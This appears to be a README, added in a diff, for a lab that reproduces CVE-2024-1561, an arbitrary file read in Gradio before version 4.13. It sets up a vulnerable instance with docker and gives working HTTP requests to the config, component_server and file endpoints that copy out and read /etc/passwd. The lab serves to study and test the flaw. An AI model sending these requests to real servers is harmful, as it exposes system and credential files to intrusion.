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+# Gradio Arbitrary File Read (CVE-2024-1561)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Gradio is a Python library that enables users to rapidly build web-based interfaces for machine learning models without writing any front-end code.
+
+In Gradio versions prior to 4.13, the `component_server` endpoint allows attackers to invoke arbitrary methods of the `Component` class. By abusing the `move_resource_to_block_cache` method, an attacker can copy any file from the server to a temporary directory and then retrieve its contents, leading to arbitrary file read.
+
+References:
+
+- <https://github.com/gradio-app/gradio/pull/6884>
+- <https://nvd.nist.gov/vuln/detail/CVE-2024-1561>
+
+## Environment Setup
+
+Execute the following command to start an application written by Gradio 4.12.0:
+
+```
+docker compose up -d
+```
+
+After the environment is started, authentication is not enabled by default. You can access the application through `http://your-ip:7860`.
+
+## Vulnerability Reproduction
+
+First, access the `/config` endpoint to obtain a component's `id` value, such as `3`.
+
+```
+GET /config HTTP/1.1
+Host: 127.0.0.1:7860
+```
+
+![](1.png)
+
+Next, use the `move_resource_to_block_cache` method to copy `/etc/passwd` to a temporary directory. The response will include the temporary file path.
+
+```
+POST /component_server HTTP/1.1
+Host: 127.0.0.1:7860
+Content-Type: application/json
+
+{
+  "component_id": "3",
+  "data": "/etc/passwd",
+  "fn_name": "move_resource_to_block_cache",
+  "session_hash": "aaaaaaaaaaa"
+}
+```
+
+![](2.png)
+
+Finally, access the `/file` endpoint with the returned path to read the file content.
+
+```
+GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1
+Host: 127.0.0.1:7860
+
+```
+
+![](3.png)
+
+If successful, the contents of `/etc/passwd` will be displayed, demonstrating arbitrary file read.